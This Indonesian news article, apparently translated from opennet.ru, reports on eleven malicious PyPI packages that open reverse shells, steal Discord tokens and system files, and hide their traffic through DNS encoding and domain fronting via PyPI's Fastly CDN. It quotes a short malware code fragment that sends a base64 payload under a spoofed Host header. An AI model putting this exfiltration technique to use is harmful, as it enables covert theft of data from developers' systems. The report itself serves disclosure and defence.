Pustaka berbahaya terdeteksi di katalog PyPI yang menggunakan CDN PyPI untuk menyembunyikan saluran komunikasi

Katalog PyPI (Indeks Paket Python) mengungkapkan 11 paket yang menyertakan kode berbahaya. Sebelum masalah teridentifikasi, paket berhasil diunduh total sekitar 38 ribu kali. Paket berbahaya yang terdeteksi terkenal karena penggunaan cara yang rumit untuk menyembunyikan saluran komunikasi dengan server penyerang.

  • importantpackage (6305 unduhan), important-package (12897) - membuat koneksi ke server eksternal dengan kedok menghubungkan ke pypi.python.org untuk menyediakan akses shell ke sistem (reverse shell) dan menggunakan program trevorc2 untuk menyembunyikan saluran komunikasi.
  • pptest (10001), ipboards (946) - menggunakan DNS sebagai saluran komunikasi untuk mentransfer informasi tentang sistem (dalam paket pertama, nama host, direktori kerja, IP internal dan eksternal, yang kedua - nama pengguna dan nama host).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) mendeteksi token layanan Discord di sistem dan mengirimkannya ke host eksternal.
  • trrfab (287) - mengirimkan pengenal, nama host, dan konten /etc/passwd, /etc/hosts, /home ke host eksternal.
  • 10Cent10 (490) - membuat koneksi shell terbalik dengan host eksternal.
  • yandex-yt (4183) - menampilkan pesan tentang sistem yang disusupi dan dialihkan ke halaman dengan informasi tambahan tentang tindakan lebih lanjut yang dikeluarkan melalui nda.ya.ru (api.ya.cc).

Catatan khusus adalah metode mengakses host eksternal yang digunakan dalam paket penting dan paket penting, yang menggunakan jaringan pengiriman konten Fastly yang digunakan dalam katalog PyPI untuk menyembunyikan aktivitas mereka. Faktanya, permintaan dikirim ke server pypi.python.org (termasuk menentukan nama python.org di SNI di dalam permintaan HTTPS), tetapi pada saat yang sama, nama server yang dikendalikan oleh penyerang ditetapkan di HTTP tajuk "Host" (sec.forward.io.global.prod.fastly.net). Jaringan pengiriman konten mengirimkan permintaan serupa ke server penyerang menggunakan parameter koneksi TLS dengan pypi.python.org saat mengirimkan data.

Infrastruktur PyPI didukung oleh jaringan pengiriman konten Fastly, yang menggunakan proksi Varnish transparan untuk menyimpan permintaan umum ke cache, dan menggunakan pemrosesan sertifikat TLS di tingkat CDN, bukan server akhir, untuk mengatur permintaan HTTPS melalui proksi. Terlepas dari host target, permintaan dikirim ke proxy, yang menentukan host yang diinginkan oleh header HTTP "Host", dan nama domain host terkait dengan alamat IP khas penyeimbang beban CDN untuk semua klien Fastly.

Server penyerang juga mendaftar dengan CDN Fastly, yang menyediakan paket data gratis untuk semua orang dan bahkan mengizinkan pendaftaran anonim. Patut dicatat bahwa saat membuat "reverse shell", sebuah skema juga digunakan untuk mengirim permintaan ke korban, tetapi diprakarsai oleh host penyerang. Dari luar, interaksi dengan server penyerang terlihat seperti sesi yang sah dengan direktori PyPI, dienkripsi menggunakan sertifikat TLS PyPI. Teknik serupa, yang dikenal sebagai "domain fronting", sebelumnya secara aktif digunakan untuk menyembunyikan nama host saat melewati kunci, menggunakan kemampuan yang disediakan di beberapa jaringan CDN untuk mengakses HTTPS dengan host fiktif yang ditentukan dalam SNI dan transmisi sebenarnya dari nama host yang diminta di header HTTP Host dalam sesi TLS.

Pustaka berbahaya terdeteksi di katalog PyPI yang menggunakan CDN PyPI untuk menyembunyikan saluran komunikasi

Untuk menyembunyikan aktivitas berbahaya, paket TrevorC2 juga digunakan, yang membuat interaksi dengan server mirip dengan navigasi web normal, misalnya, permintaan jahat dikirim dengan kedok mengunduh gambar β€œhttps://pypi.python.org/images /guid="dengan informasi penyandian dalam parameter guid. url = "https://pypi.python.org" + "/gambar" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Paket pptest dan ipboards menggunakan pendekatan berbeda untuk menyembunyikan aktivitas jaringan berdasarkan pengkodean informasi muatan dalam kueri ke server DNS. Malware mengirimkan informasi dengan menjalankan permintaan DNS dalam bentuk "nu4timjagq4fimbuhe.example.com", di mana data yang dikirimkan ke server C&C dikodekan dalam nama subdomain menggunakan format base64. Penyerang menerima pesan ini dengan mengontrol server DNS untuk domain example.com.

Sumber: opennet.ru

Tambah komentar